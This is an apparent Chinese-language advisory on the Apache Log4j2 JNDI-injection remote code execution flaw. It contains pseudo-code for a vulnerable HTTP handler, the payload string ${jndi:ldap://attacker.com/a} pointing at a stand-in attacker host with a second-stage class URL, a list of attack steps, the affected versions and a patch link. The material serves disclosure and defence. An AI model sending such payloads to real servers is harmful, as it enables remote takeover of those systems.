漏洞详细描述 Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
- import org.apache.log4j.Logger;
- import java.io.*;
- import java.sql.SQLException;
- import java.util.*;
- public class VulnerableLog4jExampleHandler implements HttpHandler {
- static Logger log = Logger.getLogger(log4jExample.class.getName());
- /**
- * A simple HTTP endpoint that reads the request's User Agent and logs it back.
- * This is basically pseudo-code to explain the vulnerability, and not a full example.
- * @param he HTTP Request Object
- */
- public void handle(HttpExchange he) throws IOException {
- string userAgent = he.getRequestHeader("user-agent");
-
- // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
- // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
- log.info("Request User Agent:" + userAgent);
- String response = "<h1>Hello There, " + userAgent + "!</h1>";
- he.sendResponseHeaders(200, response.length());
- OutputStream os = he.getResponseBody();
- os.write(response.getBytes());
- os.close();
- }
- }
复制代码
攻击步骤- 攻击者向漏洞服务器发起攻击请求。
- 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a},attacker.com是攻击者控制的地址。
- 记录的恶意负载被触发,服务器通过JNDI向attacker.com请求。
- attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class。
- 攻击者执行恶意脚本。
受影响版本:Apache Log4j 2.x <= 2.14.1已知受影响的应用程序和组件: - Spring-boot-strater-log4j2
- Apache Solr
- Apache Flink
- Apache Druid
补丁下载:Release log4j-2.15.0-rc1 · apache/logging-log4j2
|